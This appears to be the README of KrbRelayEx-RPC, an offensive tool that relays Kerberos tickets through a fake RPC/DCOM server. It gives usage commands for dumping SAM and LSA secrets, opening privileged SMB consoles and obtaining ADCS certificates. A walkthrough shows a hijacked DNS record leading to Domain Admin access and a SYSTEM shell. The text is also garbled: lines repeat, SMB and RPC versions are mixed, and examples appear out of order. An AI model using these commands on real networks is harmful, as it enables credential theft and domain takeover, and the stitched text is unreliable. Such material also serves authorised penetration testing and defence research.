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Kerberos Relay and Forwarder for (Fake) RPC/DCOM MiTM Server
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KrbRelayEx-RPC is a tool similar to my <a href=https://github.com/decoder-it/KrbRelayEx>KrbRelayEx</a> designed for performing Man-in-the-Middle (MitM) attacks by relaying Kerberos AP-REQ tickets. <br>
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KrbRelayEx-RPC is a tool similar to my <a href=https://github.com/decoder-it/KrbRelayEx>KrbRelayEx</a> designed for performing Man-in-the-Middle (MitM) attacks by relaying Kerberos AP-REQ tickets. <br><br>
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This version implements a fake RPC/DCOM server:<br>
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- Listens for authenticated ISystemActivator requests and extracts the AP-REQ tickets
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- Extracts dynamic port bindings from EPMAPPER/OXID resolutions
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## Usage
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```plaintext
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############# KrbRelayEx by @decoder_it ##############
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# Kerberos Relay and Forwarder for (Fake) SMB MiTM Server #
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# v1.0 2024 #
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# Github: https://github.com/decoder-it/KrbRelayEx #
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###############################################################
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Usage:
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KrbRelayEx.exe -spn <SPN> [OPTIONS] [ATTACK]
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Description:
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KrbRelayEx-RPC is a tool designed for performing Man-in-the-Middle (MitM) attacks and relaying Kerberos AP-REQ tickets.
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It listens for incoming authenticated ISystemActivator requests, extracts dynamic port bindings from EPMAPPER/OXID resolutions,
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captures the AP-REQ for accessing SMB shares or HTTP ADCS (Active Directory Certificate Services endpoints), then dynamically
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and transparently forwards the victim's requests to the real destination host and port
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The tool can span several SMB consoles, and the relaying process is completely transparent to the end user, who will seamlessly access the desired RPC/DCOM appliaction
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Usage:
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KrbRelayEx.exe -spn <SPN> [OPTIONS] [ATTACK]
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SMB Attacks:
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-console Start an interactive SMB console
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-bgconsole Start an interactive SMB console in the background via sockets
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-bgconsole Start an interactive SMB console in background via sockets
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-list List available SMB shares on the target system
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-bgconsolestartport Specify the starting port for background SMB console sockets (default: 10000)
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-secrets Dump SAM & LSA secrets from the target system
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HTTP Attacks:
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-endpoint <ENDPOINT> Specify the HTTP endpoint to target (e.g., `CertSrv`)
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-endpoint <ENDPOINT> Specify the HTTP endpoint to target (e.g., 'CertSrv')
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-adcs <TEMPLATE> Generate a certificate using the specified template
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Options:
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-redirectserver <IP> Specify the IP address of the target server for the attack
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-ssl Use SSL transport for secure communication
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-spn <SPN> Set the Service Principal Name (SPN) for the target service
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-redirectports <PORTS> Comma-separated list of additional ports to forward (e.g., `3389,135,5985`)
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-smbport <PORT> Specify the SMB port to listen on (default: 445)
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-redirectports <PORTS> Provide a comma-separated list of additional ports to forward to the target (e.g., '3389,445,5985')
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-rpcport <PORT> Specify the RPC port to listen on (default: 135)
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IMPORTANT: Ensure that you configure the entries in your hosts file to point to the actual target IP addresses!
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```
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Examples:
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Start an interactive SMB console:
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KrbRelay.exe -spn CIFS/target.domain.com -console -redirecthost <ip_target_host>
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List SMB shares on a target:
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KrbRelay.exe -spn CIFS/target.domain.com -list
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# Examples
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SMB Relay:
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==========
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The *user19* account is a member of the DnsAdmins group in the MYLAB.LOCAL domain. As a member he can modify the A record for SRV2-MYLAB and change the IP 192.168.212.11 which is our attacker machine.
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Thee *dnstool.py* script from from https://github.com/dirkjanm/krbrelayx can be used for this purpose:<br><br>
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<img width="827" alt="image" src="https://github.com/user-attachments/assets/d66e4b5d-e1c6-472c-8b40-8951d969df3a">
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<br><br>
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On the attacker machine, we launch the relay/forwarder tool. SMB consoles will be launched in the background, starting from port 10000, and we will forward all traffic for WinRM, RPC Mapper, and Remote Desktop:<br><br>
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<img width="818" alt="image" src="https://github.com/user-attachments/assets/93a31581-bd34-4d0a-8a4f-41d9bad95b2b">
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<br><br>
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A Domain Admin accesess the \\SRV2-MYLAB\c$ share without suspecting anything:
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<br><br>
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<img width="851" alt="image" src="https://github.com/user-attachments/assets/052199fc-c0ba-4505-9125-90b5b2763f16">
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Dump SAM & LSA secrets:
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KrbRelay.exe -spn CIFS/target.domain.com -secrets -redirecthost <ip_target_host>
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<br><br>
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We intercept, relay, and forward the authenticated call to the SMB server:<br><br>
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<img width="814" alt="image" src="https://github.com/user-attachments/assets/8413f774-0bb4-4cbc-998e-3581b546717e">
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<br><br>
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Finally, we gain access to the share with privileged permissions:
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<br><br>
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![image](https://github.com/user-attachments/assets/f08aa61c-0657-40c1-924f-753aebb8872b)
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Start a background SMB console on port 10000 upon relay:
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KrbRelay.exe -spn CIFS/target.domain.com -bgconsole -redirecthost <ip_target_host>
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<br><br>
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From here, we can:
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Generate a certificate using ADCS with a specific template:
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KrbRelay.exe -spn HTTP/target.domain.com -endpoint CertSrv -adcs UserTemplate-redirecthost <ip_target_host>
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- Write to protected locations with Domain Admin privileges.
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- Create and start services that run under the LOCAL SYSTEM context.
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- And much more... 😉
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Relay attacks with SSL and port forwarding:
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KrbRelay.exe -spn HTTP/target.domain.com -ssl -redirectserver <ip_target_host> -redirectports 3389,5985,135,553,80
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HTTP(s) ADCSRelay:
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==================
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In this case the Zone MYLAB.LOCAL has been configured with *Unsecure Updates*. Anonymous users with network access can modify DNS records!!<br><br>
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![image](https://github.com/user-attachments/assets/920947a6-aae3-47bd-83d7-91c1d05150f4)
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Notes:
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- KrbRelayEx intercepts and relays the first authentication attempt,
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then switches to forwarder mode for all subsequent incoming requests.
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You can press any time 'r' for restarting relay mode
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<br><br>
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- This tool is particularly effective if you can manipulate DNS names. Examples include:
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- Being a member of the DNS Admins group.
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- Having zones where unsecured DNS updates are allowed in Active Directory domains.
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- Gaining control over HOSTS file entries on client computers.
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We intercept, relay, and forward the authenticated call to the HTTP ADCS server:<br><br>
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<img width="965" alt="image" src="https://github.com/user-attachments/assets/1f859b23-1603-4eef-92b5-001b21e28624">
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- Background consoles are ideal for managing multiple SMB consoles
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<br><br>
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** IMPORTANT: Ensure that you configure the entries in your hosts file to point to the actual target IP addresses!
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Administrator accesses a share of the ADCS Web Enrollment server:<br><br>
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<img width="554" alt="image" src="https://github.com/user-attachments/assets/1d07c7bc-0394-488d-a26f-51c4c926f1fe">
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<br><br>
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```
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Finally, we ge a client authentication certificate on behalf the Administrator:<br><br>
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<img width="922" alt="image" src="https://github.com/user-attachments/assets/4a5795dc-4061-483e-be98-81ab5b89ef8e">
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<br><br>
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<br><br>
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Or we could install a malicious service and get a shell running as SYSTEM
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<br><br>
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![image](https://github.com/user-attachments/assets/2bd5123e-9612-44eb-a397-2e10b330e53d)
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<br><br>
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On an ADCS server this would allow the backup of the the CA's private/public key enabling the forging of certificates on behalf of any user.
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# Examples
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<img width="754" alt="image" src="https://github.com/user-attachments/assets/6f1852f3-2c12-4493-b73f-c673b70d552c" />
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<br><br>
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<img width="590" alt="image" src="https://github.com/user-attachments/assets/f1570a67-c99c-4c1a-a75a-4d090e8a954f" />
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<br><br>Video:<br>
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https://youtu.be/fUqCL_NtVAo
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# Installation instructions
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The tool has been build with .Net 8.0 Framework. The Dotnet Core runtime for Windows and GNU/Linux can be downloaded here:

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